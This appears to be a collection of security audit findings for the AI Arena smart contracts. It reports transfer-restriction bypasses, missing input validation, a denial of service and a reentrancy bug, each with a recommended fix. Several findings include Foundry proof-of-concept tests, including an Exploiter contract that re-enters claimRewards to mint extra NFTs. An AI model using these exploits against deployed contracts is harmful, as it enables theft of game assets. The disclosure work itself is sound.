AI Arena - sashik_eth's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L355

Vulnerability details

FighterFarm overrides the transferFrom and safeTransferFrom functions from the inherited OZ ERC721 contract and adds restriction so NFT becomes nontransferable in case it's staked or the receiver has 10 tokens already:

File: FighterFarm.sol
338:     function transferFrom(
339:         address from, 
340:         address to, 
341:         uint256 tokenId
342:     ) 
343:         public 
344:         override(ERC721, IERC721)
345:     {
346:         require(_ableToTransfer(tokenId, to), "MINE ERROR: Not transferable");
347:         _transfer(from, to, tokenId);
348:     }
...
355:     function safeTransferFrom(
356:         address from, 
357:         address to, 
358:         uint256 tokenId
359:     ) 
360:         public 
361:         override(ERC721, IERC721) 
362:     {
363:         require(_ableToTransfer(tokenId, to), "MINE ERROR: Not transferable");
364:         _safeTransfer(from, to, tokenId, "");
365:     }

However, ERC721 tokens have one more transfer function - function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external payable; which is missing override, using this function any token could be successfully transferred.

Impact

Fighter NFT could be transferred even if it's staked, also restriction on 10 max tokens per address could be successfully bypassed.

Proof of Concept

The next test added to the FighterFarm.t.sol file could demonstrate the exploit scenario:

    function test_Exploit_TransferStaked() public {
        _mintFromMergingPool(_ownerAddress);
        _fighterFarmContract.addStaker(_ownerAddress);
        _fighterFarmContract.updateFighterStaking(0, true);
        assertEq(_fighterFarmContract.fighterStaked(0), true);

        vm.expectRevert();
        _fighterFarmContract.transferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0);
        assertEq(_fighterFarmContract.ownerOf(0) != _DELEGATED_ADDRESS, true);
        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);

        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, "");
        assertEq(_fighterFarmContract.ownerOf(0) == _DELEGATED_ADDRESS, true);
    }

Recommended Mitigation Steps

Consider overriding all safeTransferFrom functions from the inherited OZ ERC721 contract.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L291

Vulnerability details

GameItems overrides the safeTransferFrom function from the inherited OZ ERC1155 contract and adds restriction so tokens become nontransferable if is field transferable is set to false:

File: GameItems.sol
291:     function safeTransferFrom(
292:         address from, 
293:         address to, 
294:         uint256 tokenId,
295:         uint256 amount,
296:         bytes memory data
297:     ) 
298:         public 
299:         override(ERC1155) 
300:     {
301:         require(allGameItemAttributes[tokenId].transferable, "MINE ERROR: Not transferable");
302:         super.safeTransferFrom(from, to, tokenId, amount, data);
303:     }
304: 

However, ERC1155 tokens have one more transfer function - safeBatchTransferFrom which is missing override, using this function any token could be successfully transferred.

Impact

GameItem could be transferred even if it's marked as not transferable.

Proof of Concept

The next test added to the GameItems.t.sol file could demonstrate the exploit scenario:

    function test_Exploit_BypassNonTransferable() public {
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _gameItemsContract.mint(0, 1); 
        _gameItemsContract.adjustTransferability(0, false);
        (,, bool transferable,,,) = _gameItemsContract.allGameItemAttributes(0);
        assertEq(transferable, false);

        vm.expectRevert();
        _gameItemsContract.safeTransferFrom(_ownerAddress, address(123), 0, 1, "");

        uint256[] memory ids = new uint256[](1);
        ids[0] = 0;
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 1;
        _gameItemsContract.safeBatchTransferFrom(_ownerAddress, address(123), ids, amounts, "");
    }

Recommended Mitigation Steps

Consider overriding the safeBatchTransferFrom function from the inherited OZ ERC1155 contract.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L370

Vulnerability details

FighterFarm#reRoll function allows users to reroll their existing fighters parameters:

File: FighterFarm.sol
370:     function reRoll(uint256 tokenId, uint8 fighterType) public { 
371:         require(msg.sender == ownerOf(tokenId));
372:         require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
373:         require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");
374: 
375:         _neuronInstance.approveSpender(msg.sender, rerollCost);
376:         bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
377:         if (success) {
378:             numRerolls[tokenId] += 1;
379:             uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
380:             (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
381:             fighters[tokenId].element = element;
382:             fighters[tokenId].weight = weight;
383:             fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
384:                 newDna,
385:                 generation[fighterType],
386:                 fighters[tokenId].iconsType,
387:                 fighters[tokenId].dendroidBool
388:             );
389:             _tokenURIs[tokenId] = "";
390:         }
391:     }    

As we can see fighter element, weight, and physicalAttributes fields could be updated during the execution of rerolling (L381-383), at the same time fighterType of the fighter would remain the same. The problem is that the fighterType param of the reroll function is accepted without checking that it's equal to the actual type of fighter.

Impact

Users could reroll fighters using fighterType which differs from the actual type of the fighter. This could lead to the generation of fighters that have parameters that should not be available for specific fighter types.

Recommended Mitigation Steps

Consider adding a check to the FighterFarm#reRoll function that the fighter's type is equal to the provided parameter value.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L370

Vulnerability details

FighterFarm#reRoll function allows users to reroll their existing fighters parameters:

    function reRoll(uint8 tokenId, uint8 fighterType) public {
        require(msg.sender == ownerOf(tokenId));
        require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
        require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");

        _neuronInstance.approveSpender(msg.sender, rerollCost);
        bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
        if (success) {
            numRerolls[tokenId] += 1;
            uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
            (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
            fighters[tokenId].element = element;
            fighters[tokenId].weight = weight;
            fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
                newDna,
                generation[fighterType],
                fighters[tokenId].iconsType,
                fighters[tokenId].dendroidBool
            );
            _tokenURIs[tokenId] = "";
        }
    }    

However, we can see that tokenId has the type of uint8 which means that tokens with IDs equal to 256 or bigger would be inaccessible for rerolling, which breaks one of the core functionalities of the FighterFarm contract.

Impact

Only fighter tokens with id that are less than 256 would be available for rerolling.

Recommended Mitigation Steps

Consider updating the type of the tokenId parameter type from uint8 to uint256.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L470

Vulnerability details

During creation, new fighters and rerolling of existing internal _createFighterBase function is called:

File: FighterFarm.sol
462:     function _createFighterBase(
463:         uint256 dna, 
464:         uint8 fighterType
465:     ) 
466:         private 
467:         view 
468:         returns (uint256, uint256, uint256) 
469:     {
470:         uint256 element = dna % numElements[generation[fighterType]]; 
471:         uint256 weight = dna % 31 + 65;
472:         uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
473:         return (element, weight, newDna);
474:     }

As we can see this function read numElements mapping at L470. Value from this mapping is used as a divider for modulo operation. However, if we check the contract in general, we can see that numElements mapping has non-zero values seated only in the constructor and only for the 0 key value. This means that for all other keys, it would return the default (0) value.

All this would lead to a revert at L470 as soon as generation[fighterType] would be > 0 since the modulo operation reverts if the divider has a 0 value.

Impact

After incrementing generation creating new and rerolling existing fighters would be DOSed.

Proof of Concept

The next test added to the FighterFarm.t.sol file could demonstrate the DOS scenario:

    function test_RevertMintingAfterIncrementGeneration() public {
        vm.prank(address(_mergingPoolContract));
        _fighterFarmContract.mintFromMergingPool(_ownerAddress, "_neuralNetHash", "original", [uint256(100), uint256(80)]);

        _fighterFarmContract.incrementGeneration(0);

        vm.expectRevert();
        vm.prank(address(_mergingPoolContract));
        _fighterFarmContract.mintFromMergingPool(_ownerAddress, "_neuralNetHash", "original", [uint256(100), uint256(80)]);
    }

Recommended Mitigation Steps

Consider updating the numElements mapping accordingly to the current generation numbers in the incrementGeneration functions.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L154

Vulnerability details

MergingPool#claimRewards function allows winners of the lottery to mint new FIghter NFTs for all rounds in which the caller's address was added to the winners' list:

File: MergingPool.sol
139:     function claimRewards( 
140:         string[] calldata modelURIs, 
141:         string[] calldata modelTypes,
142:         uint256[2][] calldata customAttributes
143:     ) 
144:         external 
145:     {
146:         uint256 winnersLength;
147:         uint32 claimIndex = 0;
148:         uint32 lowerBound = numRoundsClaimed[msg.sender];
149:         for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
150:             numRoundsClaimed[msg.sender] += 1;
151:             winnersLength = winnerAddresses[currentRound].length;
152:             for (uint32 j = 0; j < winnersLength; j++) {
153:                 if (msg.sender == winnerAddresses[currentRound][j]) {
154:                     _fighterFarmInstance.mintFromMergingPool( 
155:                         msg.sender,
156:                         modelURIs[claimIndex],
157:                         modelTypes[claimIndex],
158:                         customAttributes[claimIndex]
159:                     );
160:                     claimIndex += 1;
161:                 }
162:             }
163:         }
164:         if (claimIndex > 0) {
165:             emit Claimed(msg.sender, claimIndex);
166:         }
167:     }

Inside the call to _fighterFarmInstance at L154 there would be a hook call to the receiver of the NFT since minting is done by the safeMint function. This would allow attackers to intercept execution and call claimRewards again. In case there is more than one round with the attacker's address in the winner's list - additional NFTs will be successfully minted since numRoundsClaimed has not yet been incremented in the first loop execution.

Impact

Attackers could claim additional Fighter NFTs.

Proof of Concept

The next test added to the MergingPool.t.sol file could demonstrate the exploit scenario:

    function test_Exploit_ReentrancyInClaimRewards() public {
        Exploiter exploiter = new Exploiter(_mergingPoolContract);

        _mintFromMergingPool(address(exploiter));
        _mintFromMergingPool(_ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(0), address(exploiter));
        uint256[] memory _winners = new uint256[](2);
        _winners[0] = 0;
        _winners[1] = 1;
        
        // winners of roundId 0 are picked
        _mergingPoolContract.pickWinner(_winners);

        string[] memory _modelURIs = new string[](2);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](2);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](2);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);

        // winners of roundId 1 are picked
        _mergingPoolContract.pickWinner(_winners);
    
        emit log_uint(_mergingPoolContract.getUnclaimedRewards(address(exploiter)));
        emit log_uint(_fighterFarmContract.balanceOf(address(exploiter)));

        exploiter.attack(_modelURIs, _modelTypes, _customAttributes);

        emit log_uint(_fighterFarmContract.balanceOf(address(exploiter)));
        emit log_uint(_mergingPoolContract.numRoundsClaimed(address(exploiter)));
    }

Additionally, this contact should be added to the end of the test file:

contract Exploiter {
    MergingPool immutable mergingPoolContract;
   
    constructor(MergingPool _mergingPoolContract) {
        mergingPoolContract = _mergingPoolContract;
    }

    function attack(        
        string[] calldata modelURIs, 
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes
    ) external {
        mergingPoolContract.claimRewards(modelURIs, modelTypes, customAttributes);
    }

    function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) {
        string[] memory _modelURIs = new string[](2);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](2);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](2);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);
        mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);
  
        return this.onERC721Received.selector;
    }   
}

Recommended Mitigation Steps

Consider adding reentrancy protection on the MergingPool#claimRewards function.

Assessed type

Reentrancy